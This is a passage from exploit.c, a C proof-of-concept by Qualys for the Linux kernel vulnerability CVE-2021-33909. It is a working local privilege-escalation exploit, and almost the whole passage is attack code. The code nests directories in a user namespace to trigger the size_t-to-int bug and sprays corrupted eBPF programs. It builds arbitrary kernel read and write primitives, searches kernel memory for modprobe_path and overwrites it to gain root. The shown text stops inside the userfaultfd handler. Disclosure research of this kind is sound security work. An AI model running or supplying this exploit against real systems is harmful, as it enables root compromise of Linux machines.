-
Notifications
You must be signed in to change notification settings - Fork 16
/
exploit.c
1750 lines (1541 loc) · 58.9 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer
* gcc -D BLOCK_VIA_USERFAULTFD -o exploit exploit.c -pthread
* gcc -D BLOCK_VIA_FUSE -o exploit exploit.c -pthread
* Copyright (C) 2021 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#if BLOCK_VIA_USERFAULTFD && BLOCK_VIA_FUSE
# error "Either BLOCK_VIA_USERFAULTFD or BLOCK_VIA_FUSE must be defined"
#elif !BLOCK_VIA_USERFAULTFD && !BLOCK_VIA_FUSE
# error "Either BLOCK_VIA_USERFAULTFD or BLOCK_VIA_FUSE must be defined"
#endif
#define BPF_PSEUDO_MAP_VALUE 2
#define _GNU_SOURCE
#include <asm/types.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <linux/bpf.h>
#include <linux/netlink.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <sched.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>
static const size_t offsetof_struct_bpf_map_ops_get_next_key = 32;
static const size_t offsetof_struct_bpf_array_ops = 0;
static const size_t offsetof_struct_bpf_array_map_type = 24;
static const size_t offsetof_struct_bpf_array_key_size = 28;
static const size_t offsetof_struct_bpf_array_value_size = 32;
static const size_t offsetof_struct_bpf_array_max_entries = 36;
static const size_t offsetof_struct_bpf_array_spin_lock_off = 44;
static const size_t offsetof_struct_bpf_array_btf = 64;
#define PAGE_SIZE (4096)
#define PAGE_ALLOC_COSTLY_ORDER 3
#define THREAD_SIZE (PAGE_SIZE << 2)
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static void
send_recv_state(const int sock, const char * const sstate, const char rstate)
{
if (sstate) {
if (send(sock, sstate, 1, MSG_NOSIGNAL) != 1) die();
}
if (rstate) {
char state = 0;
if (read(sock, &state, 1) != 1) die();
if (state != rstate) die();
}
}
static const char * bigdir;
static char onedir[NAME_MAX + 1];
typedef struct {
pid_t pid;
int socks[2];
size_t count;
int delete;
} t_userns;
#define USERNS (1UL << 1)
static int
userns_fn(void * const arg)
{
if (!arg) die();
const t_userns * const userns = arg;
const int sock = userns->socks[1];
if (close(userns->socks[0])) die();
send_recv_state(sock, NULL, 'A');
size_t n;
if (chdir(bigdir)) die();
for (n = 0; n <= userns->count / (1 + (sizeof(onedir)-1) * 4); n++) {
if (chdir(onedir)) die();
}
char device[] = "./device.XXXXXX";
if (!mkdtemp(device)) die();
char mpoint[] = "/tmp/mpoint.XXXXXX";
if (!mkdtemp(mpoint)) die();
if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();
if (userns->delete) {
if (rmdir(device)) die();
char device[] = "/tmp/device.XXXXXX";
if (!mkdtemp(device)) die();
char mpoint[] = "/tmp/mpoint.XXXXXX";
if (!mkdtemp(mpoint)) die();
if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();
if (rmdir(device)) die();
}
if (chdir("/")) die();
send_recv_state(sock, "B", 'C');
const int fd = open("/proc/self/mountinfo", O_RDONLY);
if (fd <= -1) die();
static char buf[1UL << 20];
size_t len = 0;
for (;;) {
ssize_t nbr = read(fd, buf, 1024);
if (nbr <= 0) die();
for (;;) {
const char * nl = memchr(buf, '\n', nbr);
if (!nl) break;
nl++;
if (memmem(buf, nl - buf, "\\134", 4)) die();
nbr -= nl - buf;
memmove(buf, nl, nbr);
len = 0;
}
len += nbr;
if (memmem(buf, nbr, "\\134", 4)) break;
}
send_recv_state(sock, "D", 'E');
if (userns->delete) {
for (;;) {
const ssize_t nbr = read(fd, buf, sizeof(buf) - len % sizeof(buf));
if (nbr <= 0) die();
if (memchr(buf, '\n', nbr)) break;
len += nbr;
}
if (read(fd, buf, sizeof(buf)) != 0) die();
send_recv_state(sock, "F", 'G');
} else {
for (;;) {
const ssize_t nbr = read(fd, buf, sizeof(buf));
if (nbr <= 0) die();
if (memchr(buf, '\n', nbr)) die();
const char * const deleted = memmem(buf, nbr, "//deleted", 10);
if (deleted) {
len += deleted - buf;
break;
}
len += nbr;
}
send_recv_state(sock, "F", 0);
if (send(sock, &len, sizeof(len), MSG_NOSIGNAL) != (ssize_t)sizeof(len)) die();
send_recv_state(sock, NULL, 'G');
if (close(fd)) die();
send_recv_state(sock, "H", 'I');
}
die();
}
static void
update_id_map(char * const mapping, const char * const map_file)
{
const size_t map_len = strlen(mapping);
if (map_len >= SSIZE_MAX) die();
if (map_len <= 0) die();
size_t i;
for (i = 0; i < map_len; i++) {
if (mapping[i] == ',')
mapping[i] = '\n';
}
const int fd = open(map_file, O_WRONLY);
if (fd <= -1) die();
if (write(fd, mapping, map_len) != (ssize_t)map_len) die();
if (close(fd)) die();
}
static void
proc_setgroups_write(const pid_t child_pid, const char * const str)
{
const size_t str_len = strlen(str);
if (str_len >= SSIZE_MAX) die();
if (str_len <= 0) die();
char setgroups_path[64];
snprintf(setgroups_path, sizeof(setgroups_path), "/proc/%ld/setgroups", (long)child_pid);
const int fd = open(setgroups_path, O_WRONLY);
if (fd <= -1) {
if (fd != -1) die();
if (errno != ENOENT) die();
return;
}
if (write(fd, str, str_len) != (ssize_t)str_len) die();
if (close(fd)) die();
}
static void
fork_userns(t_userns * const userns, const size_t size, const int delete)
{
static const size_t stack_size = (1UL << 20) + 2 * PAGE_SIZE;
static char * stack = NULL;
if (!stack) {
stack = mmap(NULL, stack_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
if (!stack || stack == MAP_FAILED) die();
if (mprotect(stack + PAGE_SIZE, stack_size - 2 * PAGE_SIZE, PROT_READ | PROT_WRITE)) die();
}
if (!userns) die();
userns->count = size / 2;
userns->delete = delete;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, userns->socks)) die();
userns->pid = clone(userns_fn, stack + stack_size - PAGE_SIZE, CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, userns);
if (userns->pid <= -1) die();
if (close(userns->socks[1])) die();
userns->socks[1] = -1;
char map_path[64], map_buf[64];
snprintf(map_path, sizeof(map_path), "/proc/%ld/uid_map", (long)userns->pid);
snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getuid());
update_id_map(map_buf, map_path);
proc_setgroups_write(userns->pid, "deny");
snprintf(map_path, sizeof(map_path), "/proc/%ld/gid_map", (long)userns->pid);
snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getgid());
update_id_map(map_buf, map_path);
send_recv_state(*userns->socks, "A", 'B');
}
static void
wait_userns(t_userns * const userns)
{
if (!userns) die();
if (kill(userns->pid, SIGKILL)) die();
int status = 0;
if (waitpid(userns->pid, &status, 0) != userns->pid) die();
userns->pid = -1;
if (!WIFSIGNALED(status)) die();
if (WTERMSIG(status) != SIGKILL) die();
if (close(*userns->socks)) die();
*userns->socks = -1;
}
#define BPF_LOG_STATS 4
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_A(OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_JA, \
.dst_reg = 0, \
.src_reg = 0, \
.off = OFF, \
.imm = 0 })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
static int
bpf(int cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
static int
bpf_create_map(enum bpf_map_type map_type,
unsigned int key_size,
unsigned int value_size,
unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int
bpf_update_elem(int fd, const void *key, const void *value,
uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = (uintptr_t)key,
.value = (uintptr_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int
bpf_lookup_elem(int fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = (uintptr_t)key,
.value = (uintptr_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static int
bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, unsigned int insn_cnt,
const char *license,
char *log_buf, unsigned int log_size, unsigned int log_level)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uintptr_t)insns,
.insn_cnt = insn_cnt,
.license = (uintptr_t)license,
.log_buf = (uintptr_t)log_buf,
.log_size = log_size,
.log_level = log_level,
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
enum {
OP_TEST = 0,
OP_READ32,
OP_READ64,
OP_WRITE32,
OP_WRITE64,
};
enum {
NO_CORRUPTION = 100,
EARLY_CORRUPTION,
DOUBLE_CORRUPTION,
};
typedef struct {
uint64_t op;
uint64_t what;
uint16_t where;
uint64_t result;
uint64_t result2;
uint64_t done;
} t_control;
static int control_fd = -1;
static char corrupt_map[3 << 16];
static int corrupt_fd = -1;
static char storage_map[PAGE_SIZE << (PAGE_ALLOC_COSTLY_ORDER + 1)];
static int storage_fd = -1;
static void
op(const int sock, t_control * const control)
{
if (sock <= -1) die();
if (!control) die();
if (control_fd <= -1) die();
if (control->op != OP_TEST && !control->where) die();
static const uint32_t key = 0;
if (bpf_update_elem(control_fd, &key, control, BPF_ANY)) die();
if (write(sock, "A", 1) != 1) die();
for (;;) {
memset(control, 0, sizeof(*control));
if (bpf_lookup_elem(control_fd, &key, control)) die();
if (control->done) {
if (control->done != 1) die();
return;
}
}
die();
}
static t_control
op_test(const int sock)
{
t_control control = { .op = OP_TEST };
op(sock, &control);
return control;
}
static size_t sizeof_struct_bpf_array;
static uint16_t
offset_to_where(const size_t offset)
{
if (sizeof_struct_bpf_array <= 0) die();
if (offset >= sizeof_struct_bpf_array) die();
const size_t where = sizeof(corrupt_map) / 4 - sizeof_struct_bpf_array + offset;
if (where > UINT16_MAX) die();
return where;
}
static uint32_t
op_read32(const int sock, const size_t offset)
{
t_control control = {
.op = OP_READ32,
.where = offset_to_where(offset),
};
op(sock, &control);
if (control.result > UINT32_MAX) die();
return control.result;
}
static uint64_t
op_read64(const int sock, const size_t offset)
{
t_control control = {
.op = OP_READ64,
.where = offset_to_where(offset),
};
op(sock, &control);
return control.result;
}
static void
op_write32(const int sock, const size_t offset, const uint64_t what)
{
if (what > UINT32_MAX) die();
t_control control = {
.op = OP_WRITE32,
.what = what,
.where = offset_to_where(offset),
};
op(sock, &control);
}
static void
op_write64(const int sock, const size_t offset, const uint64_t what)
{
t_control control = {
.op = OP_WRITE64,
.what = what,
.where = offset_to_where(offset),
};
op(sock, &control);
}
static inline int
is_kernel_addr(const uint64_t addr)
{
return ((addr >> 48) == 0xffff);
}
static inline int
is_kernel_text_addr(const uint64_t addr)
{
return ((addr >> 32) == 0xffffffff);
}
static size_t offsetof_struct_btf_id;
static uint32_t
arbitrary_read32(const int sock, const uint64_t where)
{
if (!is_kernel_addr(where)) die();
op_write64(sock, offsetof_struct_bpf_array_btf, where - offsetof_struct_btf_id);
struct bpf_map_info info;
memset(&info, 0, sizeof(info));
union bpf_attr attr = {
.info.bpf_fd = corrupt_fd,
.info.info = (uintptr_t)&info,
.info.info_len = sizeof(info),
};
if (bpf(BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr))) die();
if (info.value_size != sizeof(corrupt_map)) die();
return info.btf_id;
}
static void
arbitrary_read(const int sock, uint64_t where, void * const what, size_t size)
{
if (!what) die();
uint32_t * what32 = what;
if (size % sizeof(uint32_t)) die();
for ( ; size; size -= sizeof(uint32_t)) {
*what32++ = arbitrary_read32(sock, where);
where += sizeof(uint32_t);
}
}
static void
arbitrary_write32(const uint64_t where, const uint64_t what)
{
if (!is_kernel_addr(where)) die();
if (what > UINT32_MAX) die();
const uint32_t what32 = what;
memset(corrupt_map, 0, sizeof(corrupt_map));
*(uint32_t *)corrupt_map = what32 - 1;
static const uint32_t key = 0;
if (bpf_update_elem(corrupt_fd, &key, corrupt_map, where)) {
printf("what 0x%lx errno %d (%s)\n", (unsigned long)what, errno, strerror(errno));
}
}
static void
arbitrary_write(uint64_t where, const void * const what, size_t size)
{
if (!what) die();
const uint32_t * what32 = what;
if (size % sizeof(uint32_t)) die();
for ( ; size; size -= sizeof(uint32_t)) {
arbitrary_write32(where, *what32++);
where += sizeof(uint32_t);
}
}
#define KMOD_PATH_LEN 256
static char modprobe_path[KMOD_PATH_LEN];
static size_t modprobe_path_len;
static char self_exe[sizeof(modprobe_path)];
static size_t self_exe_len;
static enum {
STAGE_CORRUPTED_INSN = 1,
STAGE_ADDROF_STORAGE,
STAGE_MODPROBE_PATH,
} stage = STAGE_CORRUPTED_INSN;
static const size_t corrupted_add = 0x2f2f0000;
static size_t uncorrupted_sum;
static size_t indexof_corrupted_prog;
static size_t indexof_corrupted_insn;
static uint64_t addrof_storage_map_value;
typedef struct {
size_t index;
pthread_t tid;
char faults[3];
} t_thread;
#define THREADS (1024)
static t_thread threads[THREADS];
static const size_t insn_cnt = (THREAD_SIZE - PAGE_SIZE) / sizeof(struct bpf_insn);
static const size_t insns_size = insn_cnt * sizeof(struct bpf_insn);
static char * insns;
static char * license;
static char * log_buf;
static void *
thread_fn(void * const arg)
{
if (!arg) die();
const t_thread * const thread = arg;
if (!insns) die();
if (!license) die();
if (!log_buf) die();
const struct bpf_insn * const this_insns = (const void *)(insns + thread->index * insns_size);
const char * const this_license = license + thread->index * PAGE_SIZE;
/***/ char * const this_log_buf = log_buf + thread->index * PAGE_SIZE;
uintptr_t retval = EXIT_FAILURE;
const int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
this_insns, insn_cnt, this_license, this_log_buf, PAGE_SIZE, BPF_LOG_STATS);
if (prog_fd <= -1) {
if (prog_fd != -1) die();
if (errno != EINVAL) die();
retval = EARLY_CORRUPTION;
pthread_exit((void *)retval);
die();
}
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) die();
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) die();
const int sock = socks[1];
if (!uncorrupted_sum) die();
const t_control test = op_test(sock);
if (test.result == uncorrupted_sum) {
if (test.result2) die();
retval = NO_CORRUPTION;
goto cleanup;
}
retval = DOUBLE_CORRUPTION;
printf("test 0x%lx 0x%lx\n", (unsigned long)test.result, (unsigned long)test.result2);
if (STAGE_CORRUPTED_INSN == stage) {
if (indexof_corrupted_insn) die();
if (addrof_storage_map_value) die();
if (test.result <= corrupted_add) die();
const size_t corrupted_sum = test.result - corrupted_add;
if (corrupted_sum >= uncorrupted_sum) die();
indexof_corrupted_insn = uncorrupted_sum - corrupted_sum;
printf("indexof_corrupted_insn 0x%zx\n", indexof_corrupted_insn);
if (indexof_corrupted_insn >= insn_cnt) die();
if (indexof_corrupted_insn <= 0) die();
goto cleanup;
}
if (!indexof_corrupted_insn) die();
if (test.result != uncorrupted_sum + corrupted_add) die();
if (STAGE_ADDROF_STORAGE == stage) {
if (addrof_storage_map_value) die();
addrof_storage_map_value = test.result2;
printf("addrof_storage_map_value 0x%lx\n", (unsigned long)addrof_storage_map_value);
if (!is_kernel_addr(addrof_storage_map_value)) die();
goto cleanup;
}
if (!addrof_storage_map_value) die();
if (stage != STAGE_MODPROBE_PATH) die();
const size_t check_sizeof_struct_bpf_array = addrof_storage_map_value & (PAGE_SIZE-1);
printf("sizeof_struct_bpf_array 0x%zx\n", check_sizeof_struct_bpf_array);
if (check_sizeof_struct_bpf_array <= 0) die();
if (check_sizeof_struct_bpf_array >= 1024) die();
sizeof_struct_bpf_array = check_sizeof_struct_bpf_array;
const uint64_t addrof_array_map_ops = op_read64(sock, offsetof_struct_bpf_array_ops);
printf("addrof_array_map_ops 0x%lx\n", (unsigned long)addrof_array_map_ops);
if (!is_kernel_text_addr(addrof_array_map_ops)) die();
size_t i;
for (i = 0; i < sizeof(storage_map) / sizeof(uint32_t); i++) {
((uint32_t *)storage_map)[i] = i * sizeof(uint32_t);
}
static const uint32_t key = 0;
if (bpf_update_elem(storage_fd, &key, storage_map, BPF_ANY)) die();
if (op_read64(sock, offsetof_struct_bpf_array_btf) != 0) die();
const size_t check_offsetof_struct_btf_id = arbitrary_read32(sock, addrof_storage_map_value);
printf("offsetof_struct_btf_id 0x%zx\n", check_offsetof_struct_btf_id);
if (check_offsetof_struct_btf_id <= 0) die();
if (check_offsetof_struct_btf_id >= 1024) die();
if (check_offsetof_struct_btf_id % sizeof(uint32_t)) die();
offsetof_struct_btf_id = check_offsetof_struct_btf_id;
uint64_t check_addrof_array_map_ops = 0;
arbitrary_read(sock, addrof_storage_map_value - sizeof_struct_bpf_array + offsetof_struct_bpf_array_ops,
&check_addrof_array_map_ops, sizeof(check_addrof_array_map_ops));
if (check_addrof_array_map_ops != addrof_array_map_ops) die();
unsigned char what[PAGE_SIZE];
uint64_t where;
uint64_t addrof_request_module_string = 0;
memset(what, 0, sizeof(what));
for (where = addrof_array_map_ops; ; ) {
memcpy(what, what + sizeof(what) / 2, sizeof(what) / 2);
arbitrary_read(sock, where, what + sizeof(what) / 2, sizeof(what) / 2);
where += sizeof(what) / 2;
static const char request_module[] = "__request_module";
const unsigned char * const string = memmem(what, sizeof(what), request_module, sizeof(request_module));
if (!string) continue;
addrof_request_module_string = where - sizeof(what) + (string - what);
break;
}
printf("addrof_request_module_string 0x%lx\n", (unsigned long)addrof_request_module_string);
if (!is_kernel_text_addr(addrof_request_module_string)) die();
uint64_t addrof_request_module_function = 0;
for (where = addrof_request_module_string & ~(uint64_t)(sizeof(uint32_t)-1); ; ) {
if (where <= addrof_array_map_ops) goto cleanup_read;
{
const int32_t offset = arbitrary_read32(sock, where);
const uint64_t string = where + offset;
where -= sizeof(uint32_t);
if (offset <= 0) continue;
if (offset >= (128 << 20)) continue;
if (string != addrof_request_module_string) continue;
}
{
const int32_t offset = arbitrary_read32(sock, where);
const uint64_t symbol = where + offset;
if (offset >= 0) continue;
if (offset <= -(128 << 20)) continue;
if (symbol >= addrof_array_map_ops) continue;
addrof_request_module_function = symbol;
break;
}
}
printf("addrof_request_module_function 0x%lx\n", (unsigned long)addrof_request_module_function);
if (!is_kernel_text_addr(addrof_request_module_function)) die();
uint64_t addrof_modprobe_path = 0;
arbitrary_read(sock, addrof_request_module_function, what, sizeof(what));
const unsigned char * code;
for (code = what; ; code++) {
if (code >= what + MIN(256, sizeof(what) / 2)) goto cleanup_read;
if (code[0] != 0x80) continue;
if (code[1] != 0x3d) continue;
if (code[6] != 0x00) continue;
const int32_t offset = *(const int32_t *)(code + 2);
const uint64_t addr = addrof_request_module_function + (code - what) + 7 + offset;
if (offset <= 0) continue;
if (offset >= (128 << 20)) continue;
if (addr <= addrof_request_module_string) continue;
addrof_modprobe_path = addr;
break;
}
printf("addrof_modprobe_path 0x%lx\n", (unsigned long)addrof_modprobe_path);
if (!is_kernel_text_addr(addrof_modprobe_path)) die();
memset(what, 0, sizeof(what));
if (sizeof(modprobe_path) > sizeof(what)) die();
arbitrary_read(sock, addrof_modprobe_path, what, sizeof(modprobe_path));
if (memcmp(what, modprobe_path, modprobe_path_len + 1) != 0) goto cleanup_read;
printf("addrof_modprobe_path ok\n");
memset(storage_map, 0, sizeof(storage_map));
arbitrary_read(sock, addrof_array_map_ops, storage_map, PAGE_SIZE);
const uint64_t addrof_array_map_get_next_key = *(const uint64_t *)(storage_map + offsetof_struct_bpf_map_ops_get_next_key);
printf("addrof_array_map_get_next_key 0x%lx\n", (unsigned long)addrof_array_map_get_next_key);
if (!is_kernel_text_addr(addrof_array_map_get_next_key)) die();
for (i = 0; i < PAGE_SIZE / sizeof(uint64_t); i++) {
if (!((uint64_t *)storage_map)[i]) {
((uint64_t *)storage_map)[i] = addrof_array_map_get_next_key;
}
}
if (bpf_update_elem(storage_fd, &key, storage_map, BPF_ANY)) die();
uint64_t check_addrof_array_map_get_next_key = 0;
arbitrary_read(sock, addrof_storage_map_value + offsetof_struct_bpf_map_ops_get_next_key,
&check_addrof_array_map_get_next_key, sizeof(check_addrof_array_map_get_next_key));
if (check_addrof_array_map_get_next_key != addrof_array_map_get_next_key) die();
if (op_read32(sock, offsetof_struct_bpf_array_map_type) != BPF_MAP_TYPE_ARRAY ||
op_read32(sock, offsetof_struct_bpf_array_key_size) != 4 ||
op_read32(sock, offsetof_struct_bpf_array_value_size) != sizeof(corrupt_map) ||
op_read32(sock, offsetof_struct_bpf_array_max_entries) != 1 ||
op_read32(sock, offsetof_struct_bpf_array_spin_lock_off) != (uint32_t)(-EINVAL)) {
goto cleanup_read;
}
op_write64(sock, offsetof_struct_bpf_array_ops, addrof_storage_map_value);
op_write32(sock, offsetof_struct_bpf_array_max_entries, UINT32_MAX);
op_write32(sock, offsetof_struct_bpf_array_spin_lock_off, 0);
op_write32(sock, offsetof_struct_bpf_array_map_type, BPF_MAP_TYPE_STACK);
arbitrary_write(addrof_modprobe_path, self_exe, (self_exe_len + sizeof(uint32_t)) & ~(sizeof(uint32_t)-1));
cleanup_write:
op_write32(sock, offsetof_struct_bpf_array_map_type, BPF_MAP_TYPE_ARRAY);
op_write32(sock, offsetof_struct_bpf_array_spin_lock_off, (uint32_t)(-EINVAL));
op_write32(sock, offsetof_struct_bpf_array_max_entries, 1);
op_write64(sock, offsetof_struct_bpf_array_ops, addrof_array_map_ops);
cleanup_read:
op_write64(sock, offsetof_struct_bpf_array_btf, 0);
cleanup:
if (close(socks[0])) die();
if (close(socks[1])) die();
if (close(prog_fd)) die();
pthread_exit((void *)retval);
die();
}
static void
create_threads_now(void)
{
if (!insns) die();
if (!license) die();
if (!log_buf) die();
size_t i;
for (i = 0; i < THREADS; i++) {
threads[i].index = i;
if (pthread_create(&threads[i].tid, NULL, thread_fn, &threads[i])) die();
}
}
#if BLOCK_VIA_USERFAULTFD
static int
uffd_register(const int uffd, const void * const start, const size_t len)
{
struct uffdio_register uffdio_register = {
.range = { .start = (uintptr_t)start, .len = len },
.mode = UFFDIO_REGISTER_MODE_MISSING,
};
return ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
}
static void
read_faults(const int uffd, const char * const start, const size_t size, const size_t fault)
{
if (fault >= sizeof(threads->faults) / sizeof(*threads->faults)) die();
if ((uintptr_t)start % PAGE_SIZE) die();
if (size % PAGE_SIZE) die();
size_t i;
for (i = 0; i < THREADS; i++) {
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) die();
if (msg.event != UFFD_EVENT_PAGEFAULT) die();
if (msg.arg.pagefault.address < (uintptr_t)start) die();
if (msg.arg.pagefault.address >= (uintptr_t)start + THREADS * size) die();
const size_t index = (msg.arg.pagefault.address - (uintptr_t)start) / size;
if (index >= THREADS) die();
